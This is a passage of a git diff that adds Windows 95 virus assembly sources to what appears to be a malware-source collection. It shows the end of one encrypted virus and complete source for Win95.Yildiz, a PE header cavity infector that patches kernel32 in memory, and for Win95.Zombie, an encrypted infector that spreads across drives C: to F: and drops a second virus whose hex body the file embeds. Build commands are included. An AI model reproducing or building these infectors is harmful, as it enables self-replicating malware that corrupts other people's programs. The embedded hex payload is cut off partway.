MakeRound2 +FinishedCryptBlock2: + + pop ecx + ret + +;--------------------------------------------------------------------------- + +DeMessTwoBlocks: + + push ecx esi + + ; First of all, we get seven bits from the beggining of the + ;table, that is, the offset relative to the table in bits + ;to get our value. + + call GetDl + mov byte ptr [@DlHere+ebp],dl + + mov ebx,0e0h ; beggining of that last 8 bits + mov ecx,04h +@Test_Rotate: + push ecx + + dec ebx + + mov byte ptr [@OperationBlock+2+ebp],2bh ; sub esi, eax + bt [edi],ebx + jnc @OperationBlock + mov byte ptr [@OperationBlock+2+ebp],33h ; xor esi, eax +@OperationBlock: + db 0ebh,00h + db 033h,0f0h + + dec ebx + + bt [edi],ebx + jnc @We_Dont_Rotate + + ; If we do rotate, we do it now, with dl value + + db 0c1h,0c8h +@DlHere: db ? + + ; Rotated or not, the second bunch is still in EAX, while + ;the first one is in ESI. So, we test the second byte. + +@We_Dont_Rotate: + + pop ecx + loop @Test_Rotate + + mov ebx,esi + pop esi ecx + + ret + + + + +;--------------------------------------------------------------------------- + + +DeEncrypt64KbBlocks: + + ; This function is performed in reverse order than + ;"Encrypt64KbBlocks", first fixing the block mixing + ;and later decrypting each block. + + lodsd + mov ebx,eax + lodsd + call DeMessTwoBlocks + xchg eax,ebx + + push ebx esi + call DeEncryptBlock + pop esi ebx + xchg eax,ebx + push ebx esi + call DeEncryptBlock + pop esi ebx + ret + +;--------------------------------------------------------------------------- + + +DeEncrypt_stuff: + call GetBlocksReminder ; DX is the last one length + push dx +CheckLasting2: ; DX = REMAINDER, CX = NUMBER O BLOCKS + or cx,cx ; No more ? + jz Go_last_block2 + call DeEncrypt64KbBlocks + call StoreOneBlock + loop CheckLasting2 + +Go_last_block2: + pop dx + cmp dx,4d ; Last block shit + jc Thisisfinished + push esi + lodsd + call DeEncryptBlock + pop edi + stosd +Thisisfinished: + ret + + +;--------------------------------------------------------------------------- + + +Decrypt: + call DeEncrypt_stuff + ret + +OperationTable: + + db 31d dup (?) ; 30 for 24 operations, 1 for last one + + +virus_end label byte +virus_size equ virus_end-v_start + + + + +; FIRST GENERATION ONLY + + + +diff_external equ external_first_gen_ops-Decryption + +external_first_gen_ops: + lea eax,[Kernel32+ebp] ; GetModuleHandle for the + push eax ;first virus segregation. + call GetModuleHandleA + mov dword ptr [GetMHandle+ebp],eax + sub dword ptr [external_address+ebp],diff_external + ret + +Kernel32: db 'KERNEL32.DLL',0 + +First_out: + + push MB_ICONEXCLAMATION + push offset Azathoth + push offset WriteOurText + push NULL + call MessageBoxA + call ExitProcess + +WriteOurText: db 'H0 H0 H0 NOW I HAVE A MACHINE GUN',0 + + +include Win32api.inc +include PE.inc + +end Start diff --git a/LegacyWindows/Win95.Yildiz.asm b/LegacyWindows/Win95.Yildiz.asm new file mode 100644 index 00000000..3f29d99e --- /dev/null +++ b/LegacyWindows/Win95.Yildiz.asm @@ -0,0 +1,336 @@ +; ************************************************************************* +; ******************** ******************** +; ******************** Win95.Yildiz ******************** +; ******************** by ******************** +; ******************** Black Jack ******************** +; ******************** ******************** +; ************************************************************************* + +comment ~ + +NAME: Win95.Yildiz +AUTHOR: Black Jack [independant Austrian Win32asm virus coder] +CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack +TYPE: Win9x direct acting/global ring3 resident PE header cavity virus +SIZE: 323 bytes (but of course infected files won't increase in size) + +DESCRIPTION: When an infected file is run, the virus takes control. It then + tries to find the kernel32 base address by a simple algorithm + which should make it compatible with Win9X and WinME (although I + haven't tested it with the second one). After that it gets the + undocumented Win9X API VxDCall0 and uses it to call int 21h. The + VxDCall0 API is the very first exported API in Win9X; I don't + know which API is first in WinNT, that's why unpredictable + results may occur when the virus runs in that OS (I haven't tried + it out, but of course the virus can't work in NT). + Then it goes TSR (read more about this a bit later), and infects + all PE EXE files in the current directory by overwriting the + unused padding bytes in the PE header with the virus body. + The memory residency consist in infecting kernel32.dll in memory. + To do so, it creates a temporary file called "Yildiz." and writes + the first 4KB of kernel32.dll there. Then this file is infected + like any other PE file. And finally the content of the infected + temp file is read back into kernel32 memory. Yep, you have read + right, by using the int21h with VxDCall0 you can read from a file + into read-only memory! (This trick was discovered by Murkry/IkX, + read more about it in the comments to his Darkside virus source, + published in Xine#3). + As I have already said, the kernel32 is infected in memory just + like any other file, this means the entry point is set to the + virus, no APIs are hooked. As you should know, the entry point + of a DLL is a init routine that is called whenever the DLL is + loaded by a program. And since kernel32 is imported by all + programs, this means for us that whenever a program is run (and + kernel32 is mapped into the program's address space), our virus + will infect all PE EXE files in the directory of the program. + +ASSEMBLE WITH: + tasm32 /mx /m yildiz.asm + tlink32 /Tpe /aa yildiz.obj,,, import32.lib + + there's no need for PEWRSEC or a similar tool, because the + virus code is supposed to run in read-only memory anyways. + +DISCLAIMER: I do *NOT* support the spreading of viruses in the wild. + Therefore, this source was only written for research and + education. Please do not spread it. The author can't be hold + responsible for what you decide to do with this source. + +~ +; =========================================================================== + + +virus_size EQU (virus_end - virus_start) + +Extrn MessageBoxA:Proc ; for first generation only +Extrn ExitProcess:Proc + +.386p +.model flat +.data + dd 0 ; dummy data, you know... + +.code +virus_start: + pushad ; save all registers + + xchg edi, eax ; put delta offset to EDI (EAX=start + ; offset of program by default) + + mov eax, [esp+8*4] ; EAX=some address inside kernel32 + + sub esp, size stack_frame ; reserve room on stack + mov esi, esp ; set ESI to our data on the stack + +search_kernel32: + xor ax,ax ; we assume the least significant + ; word of the kernel32 base is zero + cmp word ptr [eax], "ZM" ; is there a MZ header ? + JE found_kernel32 ; if yes, we found the correct + ; kernel32 base address + dec eax ; 0BFF80000->0BFF7FFFF, and then the + ; least significant word is zeroed + JMP search_kernel32 ; check next possible kernel32 base + +tmp_filename db "Yildiz", 0 +filespec db "*.EXE", 0 + + +found_kernel32: + mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA + add ebx, eax ; EBX=offset of kernel32 PE header + + mov ebx, [ebx+120] ; EBX=export table RVA + mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs + mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0 + add ebx, eax ; EBX=Offset VxDCall0 API + mov [esi.VxDCall0], ebx ; save it + lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure + ; for optimisation reasons, the + ; CALL EBP instruction is just 2 bytes + + +; ----- GO TSR -------------------------------------------------------------- + + lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename + push edx ; save it on stack + + push eax ; save kernel32 base address on stack + + mov ah, 3Ch ; create temp file + xor ecx, ecx ; no attributes + call ebp ; call our int 21h procedure + + xchg ebx, eax ; filehandle to EBX, where it belongs + + pop edx ; EDX=kernel32 base address + push edx ; save it again + + call write_file ; write start of kernel32 to temp file + + call infect ; infect the temp file + + pop edx ; EDX=kernel32 base address + + mov ah, 3Fh ; read infected kernel32 fileststart + call read_write ; into kernel32 memory + + mov ah, 3Eh ; close temp file + call ebp ; call our int 21h procedure + + pop edx ; EDX=pointer to temp filename + mov ah, 41h ; delete temp file + call ebp ; call our int 21h procedure + + +; ----- INFECT ALL FILES IN CURRENT DIR ------------------------------------- + + mov ah, 2Fh ; get DTA + call ebp ; call our int 21h procedure + + push es ; save DTA address to stack + push ebx + + push ds ; ES=DS (standart data segment) + pop es + + mov ah, 1Ah ; set DTA to our data area + lea edx, [esi.dta] ; DS:EDX=new DTA adress + call ebp ; call our int 21h procedure + + mov ah, 4Eh ; find first file + xor ecx, ecx ; only files with standart attributes + lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec + +findfile_loop: + call ebp ; call our int 21h procedure + JC all_done ; no more files found? + + mov ax, 3D02h ; open victim file for read and write + lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA + call ebp ; call our int 21h procedure + + xchg ebx, eax ; handle to EBX, where it belongs + + call infect ; infect the file + + mov ah, 3Eh ; close the victim file + call ebp ; call our int 21h procedure + +search_on: + mov ah, 4Fh ; find next file + JMP findfile_loop + + +; ----- RESTORE HOST -------------------------------------------------------- + +all_done: + pop edx ; restore old DTA offset in DS:EDX + pop ds + mov ah, 1Ah ; reset DTA to old address + call ebp ; call our int 21h procedure + + push es ; DS=ES (standart data segment) + pop ds + + add esp, size stack_frame ; remove our data buffer from stack + + popad ; restore all registers + + db 05h ; add eax, imm32 +entry_RVA_difference dd (host-virus_start) ; difference between host and + ; virus entrypoint (EAX is virus + ; entrypoint offset by default) + JMP eax ; jump to host entrypoint + +; ----- END MAIN PART OF THE VIRUS CODE ------------------------------------- + +exit_infect: + pop edi ; restore EDI (delta offset) + RET ; return to caller + +; ----- INFECT AN OPENED FILE (HANDLE IN BX) -------------------------------- + +infect: + push edi ; save EDI (delta offset) + + mov edx, esi ; EDX=read/write buffer offset + mov ah, 3Fh ; read start of file + call read_write + + cmp word ptr [esi], "ZM" ; is it an exe file ? + JNE exit_infect ; cancel infection if not + + mov ecx, [esi+3Ch] ; ECX=new header RVA + cmp ecx, 3*1024 ; check if DOS stub is small enough + ; so that all the PE header is in + ; our buffer + JA exit_infect ; if not, cancel infection + + lea edi, [esi+ecx] ; EDI=PE header offset in memory + cmp word ptr [edi], "EP" ; is it an PE file ? + ; (I know that the PE marker is + ; actually a dword, but by only + ; checking one word we save a byte + ; of virus code) + JNE exit_infect ; cancel infection if not + + cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the + ; first 4 KB of the file + JB exit_infect ; if yes, the file must be already + ; infected, cancel infection + + add ecx, 24 ; add size of FileHeader + movzx eax, word ptr [edi+14h] ; EAX=size of Optional header + add ecx, eax ; add it to ECX + movzx eax, word ptr [edi+6] ; EAX=NumberOfSections + imul eax, eax, 40 ; get size of section headers to EAX + add ecx, eax ; add it to ECX, now it points to the + ; end of the used part of the PE + ; header, where the virus will be. + + mov edx, ecx ; EDX=virus RVA + xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA + sub edx, ecx ; EDX=difference between old and new + ; entrypoint RVA + + mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to + ; FileAlign) + + lea edi, [esi+ecx] ; EDI=virus offset in buffer + + sub eax, ecx ; EAX=free room for us to use + mov cx, virus_size ; ECX=size of virus (the most + ; significant word of ECX should be 0) + cmp eax, ecx ; enough room for the virus ? + JL exit_infect ; cancel infection if not + + pop eax ; EAX=delta offset + push eax ; save it again to stack + xchg esi, eax ; ESI=delta offset, EAX=data buffer + + cld ; clear direction flag + rep movsb ; move virus body into buffer + + xchg esi, eax ; ESI=pointer to our data on stack + + mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference + ; between old and new entrypoint + + pop edi ; restore EDI (delta offset) + + mov edx, esi ; EDX=offset of read/write buffer + + ; now write modified start of file, + ; then return to caller + +write_file: + mov ah, 40h ; write to file + +read_write: + xor ecx, ecx ; ECX=0 + pushad ; save all registers + + xor eax, eax ; EAX=4200h (set filepointer from + mov ah, 42h ; start of the file + cdq ; CX:DX=0 (new filepointer) + call ebp ; call our int 21h procedure + + popad ; restore all registers + + mov ch, 10h ; ECX=4096 (size of read/write buffer) + + ; now execute int 21h and return + +int21h: ; protected mode int21 + push ecx ; push parameters + push eax + push 2A0010h ; VWIN32_Int21Dispatch function + call ss:[esi.VxDCall0] ; call VxDCall0 API + ret + +virus_end: + +; This is our data that will be stored on the stack: + +stack_frame struc +buffer db 4096 dup(?) +dta db 43 dup(?) +VxDCall0 dd ? +stack_frame ends + + +host: + push 0 + push offset caption + push offset message + push 0 + call MessageBoxA + + push 0 + call ExitProcess + +caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0 +message db "first generation dropper", 0 + +end virus_start diff --git a/LegacyWindows/Win95.Zombie.asm b/LegacyWindows/Win95.Zombie.asm new file mode 100644 index 00000000..ec63017f --- /dev/null +++ b/LegacyWindows/Win95.Zombie.asm @@ -0,0 +1,979 @@ +; +; ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ Win95.Z0MBiE ³ +; ³ v1.01, by Z0MBiE ³ +; ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; +; This is the first collaboration of the russian virus writer Z0MBiE to 29A, +; and also his first Win95 PE infector. It is an encrypted runtime PE infec- +; tor which, after having decrypted its body, locates KERNEL32.DLL and then +; looks in its export table for the address of the API functions used it the +; viral code. This virus has also the feature which consists on looking for +; files to infect in the Windows directory as well as in other units. PE in- +; fection consists on adding a new section (called .Z0MBiE) to infected exe- +; cutables and creating an entry point in it for the virus code. Last but +; not least, Win95.Z0MBiE, after having infected files in a given drive, in- +; serts a dropper called ZSetUp.EXE in the root directory. This file is ac- +; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of +; 29A, in the "Viruses" section of the magazine. Its peculiarities are des- +; cribed there, together with the analysis of Igor Daniloff, same as the one +; which follows, describing the behavior of Win95.ZOMBiE. +; +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; Win95.Zombie +; +; Igor Daniloff +; DialogueScience +; +; Win95.Zombie is a nondestructive nonresident encrypted virus which +; infects PortableExecutable EXE files. On starting an infected file, +; the virus decryptor explodes the main virus body and passes control +; to it. The main virus body determines the location of KERNEL32 Export +; Table in memory and saves in its code the address of WIN32 KERNEL API +; functions that are essential for infecting files. +; +; Then the virus determines the command line of the currently-loaded +; infected program and loads it once again through the WinExec function. +; The second virus copy then infects the system. The first virus copy +; (that started a second copy the infected program), after completing +; the WinExec procedure, returns control to the host program. +; +; To infect PE EXE files, the virus scans the Windows system folder and +; also takes peeps into all other folders in drives C:, D:, E:, and F:. +; On detecting a PE EXE file, the virus analyzes the file. If all is well, +; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE +; in the PE header, sets an entry point to it, and appends a copy of the +; encrypted code at the file end which is within the limits of the region +; of this segment section. After infecting the logical drive, the virus +; creates a dropper file ZSetUp.EXE in the root directory and assigns it +; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a +; Zombie.1922 virus code. The virus contains a few text strings: +; +; Z0MBiE 1.01 (c) 1997 +; My 2nd virii for mustdie +; Tnx to S.S.R. +; +; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE +; Tnx to S.S.R. +; ShadowRAM/Virtual Process Infector +; ShadowRAM Technology (c) 1996,97 Z0MBiE +; +; code................1398 +; viriisize...........4584 +; virtsize............8936 +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; +; +; Compiling it +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; tasm32 -ml -m5 -q -zn zombie.asm +; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib +; pewrsec zombie.exe +; +; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 + + .386 + locals + jumps + .model flat + +extrn ExitProcess:PROC +extrn MessageBoxA:PROC + +kernel equ 0BFF70000H + +FILE_ID equ 'Z0' +PORT_ID equ 'Z' + + .data + +sux db 'mustdie' + + .code +start: + call codestart + + lea ebp, [eax - 401000H] + lea edx, codestart[ebp] +cryptn equ (viriisize-decrsize+3) / 4 + mov ecx, cryptn +@@1: neg dword ptr [edx] + xor dword ptr [edx], 12345678h +xorword equ dword ptr $-4 + sub edx, -4 + loop @@1 + jmp codestart + + align 4 +decrsize equ $-start + +codestart: lea ebp, [eax - 401000H] + sub eax, 12345678h +subme equ dword ptr $-4 + push eax + + call analizekernel + + call first + + in al, 81h + cmp al, PORT_ID + je exit_to_program + + in al, 80h + cmp al, PORT_ID + je infect + + mov al, PORT_ID + out 80h, al + + call ExecExe + +exit_to_program: ret + +infect: mov al, -1 + out 80h, al + + ; call _GetModuleHandleA + ; push 9 + ; push eax + ; call _SetPriorityClass + + ; infect windows directory + + lea edx, infdir[ebp] + call getwindir + lea edx, infdir[ebp] + call setdir + call infectdir + + ; recursive infect + + lea edx, drive_c[ebp] + call recinfect1st + call createsetup + + lea edx, drive_d[ebp] + call recinfect1st + call createsetup + + lea edx, drive_e[ebp] + call recinfect1st + call createsetup + + lea edx, drive_f[ebp] + call recinfect1st + call createsetup + + mov al, PORT_ID + out 81h, al + +exit_to_mustdie: push -1 + call _ExitProcess + +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ subprograms ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + +createsetup: lea edx, zsetup[ebp] + call createfile + + lea edx, z[ebp] + mov ecx, z_size + call writefile + + call closefile + + ret + +first: pop edi + mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx + mov byte ptr start[ebp], 0b9h + + call infectfile + jmp exit_to_mustdie + +ExecExe: call _GetCommandLineA +SW_NORMAL equ 1 + push SW_NORMAL + push eax + call _WinExec + ret + +recinfect1st: call setdir + +recinfect: call infectdir + + lea eax, win32_data_thang[ebp] + push eax + lea eax, dirfiles[ebp] + push eax + call _FindFirstFileA + mov edi, eax + inc eax + jz @@nomorefiles + +@@processfile: lea eax, fileattr[ebp] + mov al, [eax] + cmp al, 10h ; directory ? + jne @@findnext + + lea edx, fullname[ebp] + cmp byte ptr [edx], '.' + je @@findnext + call setdir + + push edi + lea edx, fullname[ebp] + call recinfect + pop edi + + lea edx, prev_dir[ebp] + call setdir + +@@findnext: lea eax, win32_data_thang[ebp] + push eax + push edi + call _FindNextFileA + + or eax, eax + jnz @@processfile + +@@nomorefiles: ret + +nokerneldll: +nofunction: +exit: jmp $ + +analizekernel: mov esi, kernel +@@1: ; cmp esi, kernel + 040000h + ; ja nokernelfunc + lea edi, kernel_sign[ebp] + mov ecx, kernel_sign_size + rep cmpsb + jne @@1 + +kernelfound: sub esi, kernel_sign_size + mov kernel_call[ebp], esi + + mov esi, kernel + lodsw + cmp ax, 'ZM' + jne nokerneldll + + add esi, 003Ch-2 + lodsd + + lea esi, [esi + eax - 3ch - 4] + lodsd + cmp eax, 'EP' + jne nokerneldll + + add esi, 78h-4 ; esi=.edata + + lodsd + add eax, kernel + 10h + xchg esi, eax + + lodsd + lodsd + lodsd + mov funcnum[ebp], eax + + lodsd + add eax, kernel + mov entrypointptr[ebp], eax + + lodsd + add eax, kernel + mov nameptr[ebp], eax + + lodsd + add eax, kernel + mov ordinalptr[ebp], eax + + lea edx, names[ebp] + lea edi, fns[ebp] + +@@1: push edi + call findfunction + pop edi + + inc edi ; 68 + stosd + add edi, 6 ; jmp kernel_call[ebp] + + mov edx, esi + + cmp byte ptr [esi], 0 + jne @@1 + + ret + +findfunction: mov ecx, 12345678h +funcnum equ dword ptr $-4 + xor ebx, ebx + +findnextfunc: mov esi, edx + + mov edi, [ebx + 12345678h] +nameptr equ dword ptr $-4 + add edi, kernel + +@@2: cmpsb + jne @@1 + + cmp byte ptr [esi-1], 0 + jne @@2 + + ; found + + shr ebx, 1 + movzx eax, word ptr [ebx + 12345678h] +ordinalptr equ dword ptr $-4 + shl eax, 2 + mov eax, [eax + 12345678h] +entrypointptr equ dword ptr $-4 + add eax, kernel + + ret + +@@1: add ebx, 4 + loop findnextfunc + + jmp nofunction + + +infectdir: lea eax, win32_data_thang[ebp] + push eax + lea eax, exefiles[ebp] + push eax + call _FindFirstFileA + + mov searchhandle[ebp], eax + inc eax + jz @@exit + +@@next: call infectfile + + lea eax, win32_data_thang[ebp] + push eax + push 12345678h +searchhandle equ dword ptr $-4 + call _FindNextFileA + + or eax, eax + jnz @@next + +@@exit: ret + + ; input: ECX=file attr + ; EDX=file + ; output: EAX=handle + +openfile: push 0 + push ecx + push 3 ; OPEN_EXISTING + push 0 + push 0 + push 80000000h + 40000000h + push edx + call _CreateFileA + mov handle[ebp], eax + ret + + ; input: EDX=file + ; output: EAX=handle + +createfile: push 0 + push ecx + push 1 ; CREATE + push 0 + push 0 + push 80000000h + 40000000h + push edx + call _CreateFileA + mov handle[ebp], eax + ret + +seekfile: push 0 + push 0 + push edx + push handle[ebp] + call _SetFilePointer + ret + +closefile: push handle[ebp] + call _CloseHandle + ret + + ; input: ECX=bytes to read + ; EDX=buf + +readfile: push 0 + lea eax, bytesread[ebp] + push eax + push ecx + push edx + push handle[ebp] + call _ReadFile + ret + + ; input: ECX=bytes to read + ; EDX=buf + +writefile: push 0 + lea eax, bytesread[ebp] + push eax + push ecx + push edx + push handle[ebp] + call _WriteFile + ret + + ; input: EDX=offset directory (256 byte) + +getdir: cld + push edx + push 255 + call _GetCurrentDirectoryA + ret + + ; input: EDX=directory + +setdir: push edx + call _SetCurrentDirectoryA + ret + +getwindir: cld + push 255 + push edx + call _GetWindowsDirectoryA + ret + +infectfile: in al, 82h + cmp al, PORT_ID + jne @@continue + + lea eax, fullname[ebp] + cmp dword ptr [eax], 'BM0Z' + jne @@exit + +@@continue: mov ecx, fileattr[ebp] + lea edx, fullname[ebp] + call openfile + + inc eax + jz @@exit + +; goto the dword that stores the location of the pe header + + mov edx, 3Ch + call seekfile + +; read in the location of the pe header + + mov ecx, 4 + lea edx, peheaderoffset[ebp] + call readfile + +; goto the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; read in enuff to calculate the full size of the pe header and object table + + mov ecx, 256 + lea edx, peheader[ebp] + call readfile + +; make sure it is a pe header and is not already infected + cmp dword ptr peheader[ebp],'EP' + jne @@close + cmp word ptr peheader[ebp] + 4ch, FILE_ID + je @@close + cmp dword ptr peheader[ebp] + 52, 00400000h + jne @@close + +; go back to the start of the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; read in the whole pe header and object table + lea edx, peheader[ebp] + mov ecx, headersize[ebp] + cmp ecx, maxbufsize + ja @@close + call readfile + + mov word ptr peheader[ebp] + 4ch, FILE_ID + +; locate offset of object table + xor eax, eax + mov ax, NtHeaderSize[ebp] + add eax, 18h + mov objecttableoffset[ebp],eax + +; calculate the offset of the last (null) object in the object table + mov esi, objecttableoffset[ebp] + lea eax, peheader[ebp] + add esi, eax + xor eax, eax + mov ax, numObj[ebp] + mov ecx, 40 + xor edx, edx + mul ecx + add esi, eax + + inc numObj[ebp] ; inc the number of objects + + lea edi, newobject[ebp] + xchg edi,esi + +; calculate the Relative Virtual Address (RVA) of the new object + + mov eax, [edi-5*8+8] + add eax, [edi-5*8+12] + mov ecx, objalign[ebp] + xor edx,edx + div ecx + inc eax + mul ecx + mov RVA[ebp], eax + +; calculate the physical size of the new object + mov ecx, filealign[ebp] + mov eax, viriisize + xor edx, edx + div ecx + inc eax + mul ecx + mov physicalsize[ebp],eax + +; calculate the virtual size of the new object + mov ecx, objalign[ebp] + mov eax, virtsize + xor edx,edx + div ecx + inc eax + mul ecx + mov virtualsize[ebp],eax + +; calculate the physical offset of the new object + mov eax,[edi-5*8+20] + add eax,[edi-5*8+16] + mov ecx, filealign[ebp] + xor edx,edx + div ecx + inc eax + mul ecx + mov physicaloffset[ebp],eax + +; update the image size (the size in memory) of the file + mov eax, virtsize + add eax, imagesize[ebp] + mov ecx, objalign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + mov imagesize[ebp],eax + +; copy the new object into the object table + mov ecx, 40/4 + rep movsd + +; calculate the entrypoint RVA + mov eax, RVA[ebp] + + mov ebx, entrypointRVA[ebp] + mov entrypointRVA[ebp], eax + + sub eax, ebx + +; Set the value needed to return to the host + mov subme[ebp], eax + +; go back to the start of the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; write the pe header and object table to the file + mov ecx, headersize[ebp] + lea edx, peheader[ebp] + call writefile + +; move to the physical offset of the new object + mov edx, physicaloffset[ebp] + call seekfile + +; write the virus code to the new object + + call random + mov xorword[ebp], eax + + lea edx, start[ebp] + mov ecx, decrsize + call writefile + + lea esi, codestart[ebp] + lea edi, buf[ebp] + mov ecx, cryptn +@@1: lodsd + xor eax, xorword[ebp] + neg eax + stosd + loop @@1 + + lea edx, buf[ebp] + mov ecx, viriisize-decrsize + call writefile + +@@close: call closefile + +@@exit: ret + +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ 32-bit random number generator ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + + ; output: eax=rnd + ; zf=rnd(2) + +random: call random16bit + shl eax, 16 + +random16bit: push ebx + mov bx, 1234h +rndword equ word ptr $-2 + in al, 40h + xor bl, al + in al, 40h + add bh, al + in al, 41h + sub bl, al + in al, 41h + xor bh, al + in al, 42h + add bl, al + in al, 42h + sub bh, al + mov rndword[ebp], bx + xchg bx, ax + pop ebx + test al, 1 + ret + + ; input: eax + ; output: eax=rnd(eax) + ; zf=rnd(2) + +rnd: push ebx + push edx + xchg ebx, eax + call random + xor edx, edx + div ebx + xchg edx, eax + pop edx + pop ebx + test al, 1 + ret + + +codesize equ $-start + +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ data area ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + +kernel_sign: pushfd ; <- kernel + cld + push eax + push ebx + push edx +kernel_sign_size equ $-kernel_sign + +kernel_call dd ? + +names: db 'ExitProcess',0 + db 'FindFirstFileA',0 + db 'FindNextFileA',0 + db 'CreateFileA',0 + db 'SetFilePointer',0 + db 'ReadFile',0 + db 'WriteFile',0 + db 'CloseHandle',0 + db 'GetCurrentDirectoryA',0 + db 'SetCurrentDirectoryA',0 + db 'GetWindowsDirectoryA',0 + db 'GetCommandLineA',0 + db 'WinExec',0 + db 'SetPriorityClass',0 + db 'GetModuleHandleA',0 + db 0 + +fns: +def_fn macro name +_&name&: db 68h +fn_&name& dd ? + jmp kernel_call[ebp] + endm + +def_fn ExitProcess +def_fn FindFirstFileA +def_fn FindNextFileA +def_fn CreateFileA +def_fn SetFilePointer +def_fn ReadFile +def_fn WriteFile +def_fn CloseHandle +def_fn GetCurrentDirectoryA +def_fn SetCurrentDirectoryA +def_fn GetWindowsDirectoryA +def_fn GetCommandLineA +def_fn WinExec +def_fn SetPriorityClass +def_fn GetModuleHandleA + +bytesread dd ? + +drive_c db 'C:\',0 +drive_d db 'D:\',0 +drive_e db 'E:\',0 +drive_f db 'F:\',0 + +exefiles db '*.EXE',0 +dirfiles db '*.',0 + +prev_dir db '..',0 + +win32_data_thang: +fileattr dd 0 +createtime dd 0,0 +lastaccesstime dd 0,0 +lastwritetime dd 0,0 +filesize dd 0,0 +resv dd 0,0 +fullname db 'Z0MB.EXE',256-8 dup (0) +realname db 256 dup (0) + +handle dd ? + +peheaderoffset dd ? +objecttableoffset dd ? + +newobject: ;1234567 8 +oname db '.Z0MBiE',0 +virtualsize dd 0 +RVA dd 0 +physicalsize dd 0 +physicaloffset dd 0 +reserved dd 0,0,0 +objectflags db 40h,0,0,0c0h + +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ messages ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + + db 13,10,'Z0MBiE 1.01 (c) 1997',13,10 + db 'My 2nd virii for mustdie',13,10 + db 'Tnx to S.S.R.',13,10 + +m1 macro n + if n ge 100000 + db n / 10000/10 mod 10 + '0' + else + db '.' + endif + if n ge 10000 + db n / 10000 mod 10 + '0' + else + db '.' + endif + if n ge 1000 + db n / 1000 mod 10 + '0' + else + db '.' + endif + db n / 100 mod 10 + '0' + db n / 10 mod 10 + '0' + db n / 1 mod 10 + '0',13,10 + endm + +; ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ +zsetup db '\ZSetUp.EXE',0 +z: +include z.inc ; Z0MBiE.1922 +z_size equ $-z +; ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ + + db 13,10 + db 'code..............' +m1 codesize + db 'viriisize.........' +m1 viriisize + db 'virtsize..........' +m1 virtsize + +peheader: +signature dd 0 +cputype dw 0 +numObj dw 0 + dd 3 dup (0) +NtHeaderSize dw 0 +Flags dw 0 + dd 4 dup (0) +entrypointRVA dd 0 + dd 3 dup (0) +objalign dd 0 +filealign dd 0 + dd 4 dup (0) +imagesize dd 0 +headersize dd 0 +peheader_size equ $-peheader + + align 4 +viriisize equ $-start + +infdir db 256 dup (?) + +maxbufsize equ 4096 +buf db maxbufsize dup (?) + +virtsize equ $-start + end start + +; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 + +abc_size equ 1922 ; size in bytes +abc_num equ 1922 ; size in elements + +abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h +db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h +db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h +db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h +db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h +db 